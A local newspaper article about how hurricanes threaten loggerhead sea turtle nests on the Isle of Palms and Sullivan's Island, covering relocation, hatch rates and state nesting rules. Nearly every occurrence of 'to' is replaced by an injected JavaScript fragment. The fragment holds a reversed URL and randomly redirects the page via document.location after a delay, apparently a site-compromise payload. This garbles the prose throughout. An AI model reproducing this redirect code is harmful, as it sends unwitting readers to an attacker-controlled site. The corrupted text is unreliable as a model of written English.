Hurricanes And Sea Turtles

By Mary Pringle for The Island Eye News

A nest on the brink during Irene. (Photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to by Barb Bergwerf).

Now that we are approaching the peak of the Atlantic hurricane season, those of us who protect loggerhead nests not only begin tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to worry about our houses but also the fate of nests that are still in the dunes.

Nesting habitat destroyed by Hurricane Matthew. (Photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to by Mary Pringle)

The good news is that sea turtles have survived for over 100 million years through all kinds of climate change and even the cataclysmic event that may have caused the extinction on dinosaurs. Turtles can survive easily in the deep ocean, but it can be another stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory for their eggs.

Eggs exposed at 7th Avenue by Hurricane Irene. (Photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to by Barb Bergwerf).

For this reason our nest protection efforts include a careful relocating of over half of the nests laid on the Isle of Palms and Sullivan’s Island. Before groups like ours did this, the hatch rate was around 10% but our average this season is now at 83%. When embryos in eggs or underground hatchlings are deprived of oxygen for more than a short time, it causes their death. Severe stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torm surges have even washed away entire dunes in the past, taking all of the eggs and the nest sign with them.

A nest being flooded by stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torm tide at Station 20 on Sullivan’s Island. (Photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to by Carol Killough.)

When a stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torm approaches we make sure tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have accurate GPS readings on all nests and even add extra marking sticks in the sand behind them. Our Nesting Guidelines from the SC Department of Natural Resources prohibit us from doing anymore than this. No one is tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to risk his or her safety during a stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torm trying tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to protect a nest. We are not allowed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to dig intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a nest tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to encourage hatchlings tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to come out early. No nests can be moved from the beach for protection against stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torms. When a stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torm is approaching, the nest inventobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to gather data cannot be conducted on hatched nests less than 3 days after a natural “boil” or emergence of turtles from the nest – no exceptions.

All these rules may seem harsh. However, consider that all sea turtles spread their nesting attempts temporally and spatially. In other words she lays her eggs four tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to six times throughout the summer at two week intervals and she also lays them in different places. So if you consider that she probably has already had five successful nests earlier in the summer, then losing one in September tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a hurricane is not really such a catastrophe.

She also may lay some eggs high up on some dunes and some not so high. In these six nests there will be over 700 eggs, so losing about 100 of them does not mean her efforts were in vain.

At the time of Hurricane Hugo in 1989 there was no nest protection on either of our two islands. So we have no records of what effect that stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torm had. On Aug. 23 of 2011 Hurricane Irene side swiped our coast without damaging our houses, but it did destroy fourteen nests still on the beach.

Even though Hurricane Matthew did not come until Octobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tober last year when all of our hatchlings were safely gone, it did much tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to damage the dunes all along our beaches greatly affecting the nesting habitat. We are hoping that the upcoming renourishment project in Wild Dunes will restobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore the beach and that the dunes that were bulldozed at the south end of the Isle of Palms will become more compacted tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make nesting easier for the turtles and finding the eggs easier for us.

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